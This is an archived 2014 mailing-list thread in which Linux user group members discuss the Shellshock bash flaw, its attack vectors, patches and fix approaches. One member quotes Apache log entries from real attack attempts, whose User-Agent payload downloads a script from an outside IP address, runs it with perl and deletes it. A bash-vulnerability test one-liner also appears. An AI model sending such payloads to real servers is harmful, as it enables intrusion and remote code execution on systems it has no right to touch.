Discussion:
Bash Vulnerability
Jeremy Pace
2014-09-25 01:32:30 UTC
Permalink
I was a little surprised to not see some posts regarding this vulnerability:



http://seclists.org/oss-sec/2014/q3/650



Enjoy!



-Jeremy


/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Ryan Simpkins
2014-09-25 02:33:09 UTC
Permalink
We were all too busy patching systems. All patched now. Thank you SaltStack
for making my system orchestration problems a distant memory! Responding to
security events like this with Salt makes for a much nicer day.

-Ryan

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 14:23:33 UTC
Permalink
Post by Ryan Simpkins
We were all too busy patching systems. All patched now. Thank you SaltStack
for making my system orchestration problems a distant memory! Responding to
security events like this with Salt makes for a much nicer day.
Dumb question, but since I've been living under a rock these last few
weeks and have only had chance to see the headlines, is this
vulnerability remotely exploitable with, say ssh? I've run a few tests
and I'm unable to get the exploit to work remotely unless I get the
login to succeed. Obviously I'm missing something. Can someone help me
out here?

Also I discovered my aging Centos 5 server is not vulnerable. :)


/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 14:28:40 UTC
Permalink
Post by Michael Torrie
Post by Ryan Simpkins
We were all too busy patching systems. All patched now. Thank you SaltStack
for making my system orchestration problems a distant memory! Responding to
security events like this with Salt makes for a much nicer day.
Dumb question, but since I've been living under a rock these last few
weeks and have only had chance to see the headlines, is this
vulnerability remotely exploitable with, say ssh? I've run a few tests
and I'm unable to get the exploit to work remotely unless I get the
login to succeed. Obviously I'm missing something. Can someone help me
out here?
Also I discovered my aging Centos 5 server is not vulnerable. :)
Oops, wrong. yum update brings in the patch.

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
John Shaver
2014-09-25 14:31:16 UTC
Permalink
Post by Michael Torrie
I've run a few tests
and I'm unable to get the exploit to work remotely unless I get the
login to succeed. Obviously I'm missing something. Can someone help me
out here?
I think that's the way it works. I think the attacker has to have a
login point (their's or one they 'acquired' from someone else), but
then they can gain elevated privileges.
Post by Michael Torrie
Also I discovered my aging Centos 5 server is not vulnerable. :)
There's the answer, we should all just stop updating :)

-John

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 14:37:11 UTC
Permalink
Post by John Shaver
Post by Michael Torrie
I've run a few tests
and I'm unable to get the exploit to work remotely unless I get the
login to succeed. Obviously I'm missing something. Can someone help me
out here?
I think that's the way it works. I think the attacker has to have a
login point (their's or one they 'acquired' from someone else), but
then they can gain elevated privileges.
Good to know. Thank you!

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
John Shaver
2014-09-25 14:48:30 UTC
Permalink
Keep in mind, I'm not an expert :) That is just what I understood
from reading the half of the thread posted above.

There are some exceptions, like web servers setup for cgi scripts, but
I haven't set that up on any of the webservers I've managed. Or any
other public access point that runs a shell and creates environment
variables that could be defined by the user/attacker. And if you run
a service where there are multiple people logging into your server,
like a shared hosting company or such, then this is obviously a major
concern.
Post by Michael Torrie
Post by John Shaver
Post by Michael Torrie
I've run a few tests
and I'm unable to get the exploit to work remotely unless I get the
login to succeed. Obviously I'm missing something. Can someone help me
out here?
I think that's the way it works. I think the attacker has to have a
login point (their's or one they 'acquired' from someone else), but
then they can gain elevated privileges.
Good to know. Thank you!
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 18:25:52 UTC
Permalink
Post by John Shaver
Keep in mind, I'm not an expert :) That is just what I understood
from reading the half of the thread posted above.
There are some exceptions, like web servers setup for cgi scripts, but
I haven't set that up on any of the webservers I've managed. Or any
other public access point that runs a shell and creates environment
variables that could be defined by the user/attacker. And if you run
a service where there are multiple people logging into your server,
like a shared hosting company or such, then this is obviously a major
concern.
So suddenly I'm a bit confused. Certain sites are buzzing with talk
about port 80 vulnerabilities being identified all over the web.

People have been talking about this being a problem for CGI scripts,
since the environment goes through bash. I assume they must be talking
about cgi scripts written in bash, right? Because even if apache called
system() or some popen with a shell, why would it go through bash
instead of say sh? If no default shell is specified for a user (none is
specified for apache), would bash still be the default?



/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 18:27:44 UTC
Permalink
Post by Michael Torrie
People have been talking about this being a problem for CGI scripts,
since the environment goes through bash. I assume they must be talking
about cgi scripts written in bash, right? Because even if apache called
system() or some popen with a shell, why would it go through bash
instead of say sh? If no default shell is specified for a user (none is
specified for apache), would bash still be the default?
My only excuse is that I'm home ill today. Sigh. Bash provides /bin/sh.


/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Mike Lovell
2014-09-25 19:38:25 UTC
Permalink
Post by Michael Torrie
Post by Michael Torrie
People have been talking about this being a problem for CGI scripts,
since the environment goes through bash. I assume they must be talking
about cgi scripts written in bash, right? Because even if apache called
system() or some popen with a shell, why would it go through bash
instead of say sh? If no default shell is specified for a user (none is
specified for apache), would bash still be the default?
My only excuse is that I'm home ill today. Sigh. Bash provides /bin/sh.
/bin/sh on debian-based systems is usually /bin/dash by default. this
executes the exploit through a call to system().

env x='() { :;}; echo vulnerable' python -c "import os; os.system('echo
this is a test')"

i tested this on an ubuntu 14.04 system that has an unpatched bash and
it did not echo vulnerable. running the same command on something redhat
based resulted in vulnerable being printed to the shell.

that doesn't mean that users of debian-based systems shouldn't take this
seriously. its just that one of the attack vectors isn't valid on those
by default.

mike

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 14:34:32 UTC
Permalink
Post by Michael Torrie
Post by Ryan Simpkins
We were all too busy patching systems. All patched now. Thank you SaltStack
for making my system orchestration problems a distant memory! Responding to
security events like this with Salt makes for a much nicer day.
Dumb question, but since I've been living under a rock these last few
weeks and have only had chance to see the headlines, is this
vulnerability remotely exploitable with, say ssh? I've run a few tests
and I'm unable to get the exploit to work remotely unless I get the
login to succeed. Obviously I'm missing something. Can someone help me
out here?
Okay so I read up more and understand how it's a potentially exploitable
problem in many environments:

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

Surprisingly insightful executive summary:
http://linux.slashdot.org/comments.pl?sid=5750159&cid=47987731

Except for the DHCP client vector, none of my public-facing servers are
exceptionally vulnerable, so I can breath a bit more easily and just yum
update and go back under my rock.

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Jacob Albretsen
2014-09-25 16:49:57 UTC
Permalink
Post by Ryan Simpkins
We were all too busy patching systems. All patched now. Thank you SaltStack
for making my system orchestration problems a distant memory! Responding to
security events like this with Salt makes for a much nicer day.
It's now to the point with me where writing the ticket(s) to do the task so we
can track it for our records takes longer to do that using Salt to install the
patch.

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Andy Bradford
2014-09-25 03:16:58 UTC
Permalink
I was a little surprised to not see some posts regarding this
$ bash
ksh: bash: not found

This is not the shell you're looking for...

Andy
--
TAI64 timestamp: 400000005423894d



/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Charles Curley
2014-09-25 03:42:48 UTC
Permalink
On 24 Sep 2014 21:16:58 -0600
Post by Andy Bradford
This is not the shell you're looking for...
Are you playing shell games again?
--
The right of the people to be secure in their persons, houses, papers,
and effects, against unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon probable cause,
supported by Oath or affirmation, and particularly describing the
place to be searched, and the persons or things to be seized.
-- U.S. Const. Amendment IV

Key fingerprint = CE5C 6645 A45A 64E4 94C0 809C FFF6 4C48 4ECD DFDB

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
John Shaver
2014-09-25 03:50:54 UTC
Permalink
So what is the risk here? It seems like the a) the attacker would need to
already have access to bash and they could then gain root access? or b) you
would have to be serving cgi scripts? (or something similar that passes
through to execute a script via bash)

-John
Post by Charles Curley
On 24 Sep 2014 21:16:58 -0600
Post by Andy Bradford
This is not the shell you're looking for...
Are you playing shell games again?
--
The right of the people to be secure in their persons, houses, papers,
and effects, against unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon probable cause,
supported by Oath or affirmation, and particularly describing the
place to be searched, and the persons or things to be seized.
-- U.S. Const. Amendment IV
Key fingerprint = CE5C 6645 A45A 64E4 94C0 809C FFF6 4C48 4ECD DFDB
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Steve Meyers
2014-09-25 18:45:10 UTC
Permalink
I just read through this:
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

It appears that using something like gitolite to manage your Git
repository could be a problem, because users can bypass the ForceCommand
and execute arbitrary code.

If you use Apache's mod_cgi or mod_cgid, you may be vulnerable. This
includes scripts not using bash directly, but which make system() or
popen() calls.

DHCP clients may be vulnerable, and would generally provide root access.
Fortunately, very few mobile devices have bash. Update your Linux or Mac
laptop, though.

If you can influence the environment of a SUID script, it may allow
privilege escalation.

That appears to be pretty much it. Some clever black hats will probably
figure out some other ways to exploit it, so you should probably update
anyway, even if none of these affect you.

Steve

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-25 18:58:35 UTC
Permalink
Post by Steve Meyers
If you can influence the environment of a SUID script, it may allow
privilege escalation.
Linux doesn't allow scripts to be setuid. But a setuid binary could be
making system() calls using the caller's environment, I suppose. Though
most I've seen create a special environment for subprocesses.


/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Andy Bradford
2014-09-25 19:32:33 UTC
Permalink
Post by Michael Torrie
Linux doesn't allow scripts to be setuid.
Sure it does:

$ printf '#!/bin/sh\necho hello world\n' > /tmp/hello
$ chmod 4755 /tmp/hello
$ ls -l /tmp/hello
-rwsr-xr-x 1 user user 27 Sep 25 13:29 /tmp/hello

Of course, it won't run (glossing over the fact that scripts are
interpreted, not run) as ``user'' because /bin/sh does not have SUID for
user, but it does allow scripts to have the SUID bit set on them.

Andy
--
TAI64 timestamp: 4000000054246df2

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Steve Meyers
2014-09-25 19:43:12 UTC
Permalink
Post by Michael Torrie
Linux doesn't allow scripts to be setuid. But a setuid binary could be
making system() calls using the caller's environment, I suppose. Though
most I've seen create a special environment for subprocesses.
You're absolutely right, I meant "SUID binary". Where's my email edit
function?

Steve


/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Gabriel Gunderson
2014-09-26 06:38:01 UTC
Permalink
It appears that using something like gitolite to manage your Git repository
could be a problem, because users can bypass the ForceCommand and execute
arbitrary code.
It turns out that my GitLab server was open to this exploit, but the
user had to be a GitLab user with public keys uploaded via the web
interface. So, they're a pretty trusted group of users (120 or so),
but still, it's not a good place to be. They'd still need to get
escalated privileges to do anything interesting.

I don't remember the Ubuntu version. Maybe12.04.

Gabe

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Steve Meyers
2014-09-26 14:36:55 UTC
Permalink
Post by Gabriel Gunderson
It turns out that my GitLab server was open to this exploit, but the
user had to be a GitLab user with public keys uploaded via the web
interface. So, they're a pretty trusted group of users (120 or so),
but still, it's not a good place to be. They'd still need to get
escalated privileges to do anything interesting.
That seemed like the most likely server-side vulnerability for this group.

RHEL/CentOS has the second bash fix out, so upgrade (again) ASAP!

Steve


/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Lance Grover
2014-09-26 14:58:36 UTC
Permalink
Post by Steve Meyers
That seemed like the most likely server-side vulnerability for this group.
RHEL/CentOS has the second bash fix out, so upgrade (again) ASAP!
Steve
Remember to consider more than just your web servers:

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash

I have a DSL modem that is vulnerable as well, but I have not found any
information on it yet...
--
Thanks,

Lance Grover

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Dan Egli
2014-09-26 10:18:39 UTC
Permalink
Post by Jeremy Pace
I was a little surprised to not see some posts regarding this
vulnerability:

Apparently Gmail is loosing messages or something. I see three messages
about people taking steps to fix the vulnerability and/or goofing off (Cute
Star Wars reference, by the way, Andy Bradford), but I don't see Jeremy
Pace's original message describing the vulnerability. And no, it's not in
my junk mail folder. Heck, I don't even see Andy Bradford's original
message containing the Star Wars rip-off. Just Charles Curley's reply to it
(shell games? really? :> ).

Anyone got any ideas as to why I seem to be missing messages? And could
someone re-post (or just email me privately) the vulnerability, and what
version(s) of bash are affected?

Thanks!
--- Dan

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Michael Torrie
2014-09-28 16:11:09 UTC
Permalink
I have seen numerous attempts in my apache logs to exploit vulnerable
CGI scripts:

access_log.1.gz:74.201.85.69 - - [26/Sep/2014:07:19:53 -0600] "GET
/cgi-bin/php HTTP/1.0" 503 1085 "-" "() { :;}; /bin/bash -c \"wget -O
/var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""
access_log.1.gz:74.201.85.69 - - [26/Sep/2014:07:19:53 -0600] "GET
/cgi-bin/php.fcgi HTTP/1.0" 503 1095 "-" "() { :;}; /bin/bash -c \"wget
-O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf
/var/tmp/wow1\""

etc. The exploit itself is in the useragent string of the request,
which gets passed to the CGI via an environment variable. Any PHP
script that executes system() will cause the exploit to run as well, as
PHP also puts the user agent string in the environment, which system()
inherits.

Oddly enough I've seen no attempts in the last couple of days. Does
that mean the initial wave was from a single botnet?

Here's an example of the DHCP exploit:
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Not quite as remote exploitable but still dangerous.




/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Dan Egli
2014-10-01 09:26:23 UTC
Permalink
Speaking of this vulnerability, is there a web site somewhere (like
trustedsec or similar) where this vulnerability is covered in more detail?
I'd really like to learn up on it, see how it is being used and how it's
being treated (besides by patching/updating your bash and/or php programs).

Thanks!
--- Dan

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Thad Van Ry
2014-10-01 14:10:52 UTC
Permalink
I really like Red Hat's security blog. You can find it at
securityblog.redhat.com. The two posts that deal with shellshock are:
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/
Post by Dan Egli
Speaking of this vulnerability, is there a web site somewhere (like
trustedsec or similar) where this vulnerability is covered in more detail?
I'd really like to learn up on it, see how it is being used and how it's
being treated (besides by patching/updating your bash and/or php programs).
Thanks!
--- Dan
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
John Shaver
2014-10-01 14:54:03 UTC
Permalink
There are also a couple of threads going on the oss-security mailing
list regarding this and it looks like there are still a number of
additional vulnerabilities that are still being addressed. Here is a
summary someone recently posted to one of the threads.

Originally posted to
I don't think I've ever actually written to the list, but we also haven't ever encountered a bug like this.
Personally, I think a bullet point list (or whatever people use these days) is needed of what all is actually wrong, what is broken and how we as a community can assist is desperately needed. Last time I checked there are a total of 6 CVEs currently assigned to bash related vulnerabilities and I'm sure there are more to come.
Here's my attempt to summarize the "situation so far". As always, this is just my opinion.
1. What was actually wrong with Shellshock?
The bash shell, until recently, specially interpreted ANY environment variable beginning with '() {' as a function definition to be imported. Unfortunately, there are many cases where environment variables contain data from attackers, e.g., web applications invoked using CGI, ssh in some cases, and dhcp clients in some cases. Bash originally ran code after a closing "}", and that was quickly fixed. But that solution was not enough; after the first bash patch any error in the bash parser suddenly became a security vulnerability (and bash's parser was NOT designed to be security-relevant). That's why there are so many publicly-available vulnerabilities; there are lots of ways to break the parser.
2. What's the solution/what is broken?
* Approach 1: Florian Weimer's approach. Bash functions to be exported have a prefix ("BASH_FUNC_") and suffix added. Then, ONLY environment variables with that prefix and suffix are interpreted specially. This approach is used by Red Hat, CentOS, Debian, Ubuntu, and Cygwin (at least), and was later accepted into bash upstream. The original approach used "()" as the suffix; bash upstream took this but switched to the "%%" suffix instead, which is a nice improvement (since "%" is not a shell metacharacter this is less likely to trigger OTHER problems). I know Cygwin is using the bash upstream '%%' suffix. This breaks programs that directly set environment variables and expected bash to interpret them as imported functions, but these are rare (I've only heard about them in test harn
esses). The funny characters interfere with a few other programs (e.g., "at"), but programs are *supposed* to be able to handle such cases, so this is arguably revealing defects in *other*
programs.
* Approach 2: Christos Zoulas's approach. This disables automatic import entirely, and requires an explicit request for function import. This has been applied in FreeBSD and NetBSD. This breaks any bash script that was expecting automatic import, and there are such things. Since bash is *documented* to support this functionality, this is a more obvious functionality break.
Either of these approaches completely solves the shellshock problem as currently revealed publicly. (Some of the CVE information is still not public, so it's *possible* there is another big reveal, but I have no indication of one.) Approach #1 is a little more backwards-compatible; approach #2 is arguably stronger. It's my preference that both be applied eventually, as a layered defense, but applying approach #2 *does* reduce functionality, which is why so many organizations are currently just applying approach #1 (Florian Weimer's).
3. How can I help?
Here are a few thoughts.
First, of course, update your systems, make sure it uses at least approach 1 or 2. (Unless someone has another full solution!)
Second, if you manage a distro, make sure it includes the patch and fix problems like "at" which may now have problems. I would suggest switching to upstream's '%%' suffix if you use Florian Weimer's approach.
Third, help see if there are other variations of this attack, or ways to more strongly defend against them with limited problems.
Fourth, consider tipping poor Chet Ramey (and the other bash developers). He's been doing this for over 20 years, unpaid to my knowledge.
Finally: *PLEASE* let me know if you have any good ideas on how to find vulnerabilities like this ahead-of-time. My article "How to Prevent the Next Hearbleed" (http://www.dwheeler.com/essays/heartbleed.html) lists a number of ways that Heartbleed-like vulnerabilities could have been detected ahead-of-time, in ways that are general enough to be useful. I'd like to do the same with Shellshock, so we can quickly eliminate a whole class of problems.
--- David A. Wheeler
I really like Red Hat's security blog. You can find it at
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/
Speaking of this vulnerability, is there a web site somewhere (like
trustedsec or similar) where this vulnerability is covered in more detail?
I'd really like to learn up on it, see how it is being used and how it's
being treated (besides by patching/updating your bash and/or php programs).
Thanks!
--- Dan
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Dan Egli
2014-10-01 09:28:45 UTC
Permalink
Interesting that they're encoding the attack in the useragent string. If
that's the case, can you not write a filter that puts the useragent string
in a temporary location, clears useragent, executes the necessary system()
calls, then swaps it back? Or even better, leave it swapped out, and refer
to the swapped location if you need to examine it for things like I.E. vs.
FireFox vs. Opera vs. whoever?

That's what would first occur to me, but perhaps I'm being over simplistic.
If so, simply tell me.

--- Dan

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Andy Bradford
2014-10-01 16:18:46 UTC
Permalink
Post by Dan Egli
Interesting that they're encoding the attack in the useragent string.
That's just one vector. Basically, any process that takes untrusted user
provided data and stuffs it in an environment variable that then gets
exported/passed on to another process can be used as a vector to exploit
bash.

This could include, for example, tcpserver -h which will lookup the PTR
for IP address of the remote host connecting to it and stuff it into a
variable called TCPREMOTEHOST which is then passed on to whatever it
executes next in the chain.

So, this could creep up in ways that you may not consider possible.

Andy
--
TAI64 timestamp: 40000000542c2988

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/
Dan Egli
2014-10-06 06:54:15 UTC
Permalink
Interesting. But when I try to access those pages, I get a warning about
how my connection isn't private and someone may be trying to steal my
information, and that's it. Probably has to do with the stupid way the
internet connections work around here. At least I got what I needed from
John Shaver's post. Thanks anyway, Thad.

--- Dan

P.S. I'll post the exact message if someone's curious, but that's the gist
of it.

/*
PLUG: http://plug.org, #utah on irc.freenode.net
Unsubscribe: http://plug.org/mailman/options/plug
Don't fear the penguin.
*/

Loading...